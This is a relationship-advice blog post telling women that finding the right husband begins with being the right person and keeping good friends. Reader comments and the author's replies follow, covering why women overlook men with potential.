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This was a question i was asked last weekend in the course of a discussion i had with a group of ladies. They were attentive and ready to grab the “tips” i was about to dish out to them on what to look out for. They asked me to give them practical steps they could take to make the right decision.

There is only one answer to this question. That is, “BE THE RIGHT LADY”. How will this be done? Build the right relationships, do away with unproductive and destiny destroying relationships. A lady who has all her life or for a good part of it had right and healthy, value driven female friends will not end up with a womaniser EXCEPT something happens to her along the line. Relationships which form our immediate environment are our strongest influences as far as thoughts, words and actions are concerned. A Yoruba proverb says a sheep that moves with a dog will inevitably eat shit. If your choice of a partner will make you lose your closest friends who have outstanding values, then you need to think again. You cannot marry someone you don’t relate with, though the degrees vary and more often than not, you either marry a friend or meet your prospective spouse through the friend of a friend. What i’m saying is simple, finding the right person is linked to your association. If your friends are costing you such an integral part of your life, severe the relationships with speed. The saying “show me your friend and i will tell you who you are” could not be truer in this case.

Ladies have a fantastic gift which only few explore or take advantage of; it’s the ability to recognise potential in a guy, to detect diamond in the rough, to recognise the qualities in a guy that they’ll be excited to see in their sons but most of them would rather go ahead and deceive themselves. Someone told me recently that ladies don’t tell each other the truth even though they know it. I thought about this and discovered it to be mostly true. They see a friend going in the wrong
direction and don’t call her to order; some even hail the friend on and deceive her into an unhappy life.

You want to recognize Mr Right? Search within, the answer lies in you…….

To be continueds.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;


  1. Folayemi says:

    When i saw the topic, i almost expected to see my photograph there…lol..just joking.

    But seriously, i have a question. Why do ladies lie to themselves?

    A peculiar scenario. . .

    They see a guy, they KNOW he has potentials, they SEE a future in him, they really LIKE him, but just because the present doesn’t seem too cozy, they TELL themselves that all they want is friendship. Then when God finally BLESSES the brother and he has another SISTER who was willing to do “private placement” in him back then. They now start feeling like the brother deserted them or somethin’.

    Can someone please tell me why?

  2. Emog says:

    I’ll like to know Mrs Right as well. Is the answer within me?

  3. misidreads says:

    Finally Opened shop for us,lol.
    I think you ve finally found your ministry,and i blessed that day i came to you share my feelings and views about relationship and marriage.
    Am forever grateful to you .your my marriage mentor and friend.
    Your like an aunt i never had ,you administer common sense to me when am losing it.
    Will definitely forward this sites to my friends …esp Tola and Joy (lol)

  4. Topsie says:

    Hmmm….Ultimately, Yes, the answer lies within you. Recognizing and choosing a life partner is not a face value business; it requires thorough inner search and analysis, even if you seek counsel from a friend or mentor, the final decision still lies with you. It’s everyone’s call, choice, to stick with, live with, one’s entire life.

    May you recognize well 🙂

    All the best!


    Thanks for dropping by, and for your comment on why ladies lie to themselves, i think it has to do with inability to delay immediate gratification, many ladies are very vain that’s why, averagely, the guy with the cash will attract many over “potential”, they refuse to believe that times change people. It’s difficult, but it sure pays off. While in school, my boyfriend was a student, my classmate for that matter, meanwhile, many of my girlfriends had relationships with working class guys, but today,i thank God!

    One last hint, any lady who does not agree to marry you when you didn’t have money but changes her mind when you do is not your wife. Free her!


    Thanks for the compliments, esa yi po ke! Don’t worry, i dey here for you. Feel free to send in questions……..

  5. Bussee says:


    help me ask them o! for me anybody who can’t see the luxurious estate while buying the bush is simply not worth it. listen to this:

    “she considereth a field, and buyeth it: with the fruit of her hands
    she planteth a vineyard.”

    wise and virtuous women are willing to pay for plain fields (men with potential) and commit to transforming him into a vineyard (a successful and fulfilled man/family)

  6. luvly says:

    you sure do stir up something right in side of me. each i read your write ups you seems to always refer to me without even knowing i exist! i grew up alone neva learnt alot of things i aws suppose to learn but am grateful to God that i ve found you thanks.

  7. Damilola Balogun says:

    The answer lies within me.tpsie dont mind me gut i think i need to talk with you.could you pls send your email so i can talk wiyh u privately.i would me grateful.Thank the day i opened your blog.

  8. Jamina Doris says:

    I think the main problem women have these days is basically their feelings. They know the LIKE or LOVE the guy, but they’re not sure whether or not they’re IN LOVE with the guy, which is a completely different thing altogether. I think the main thing you can do is just to explore the different people you meet, and really try to get to know them. Don’t let first impressions fool you, and keep an open mind. Sometimes feelings are hard to place your finger on, that’s why you need time to experience different situations with people.

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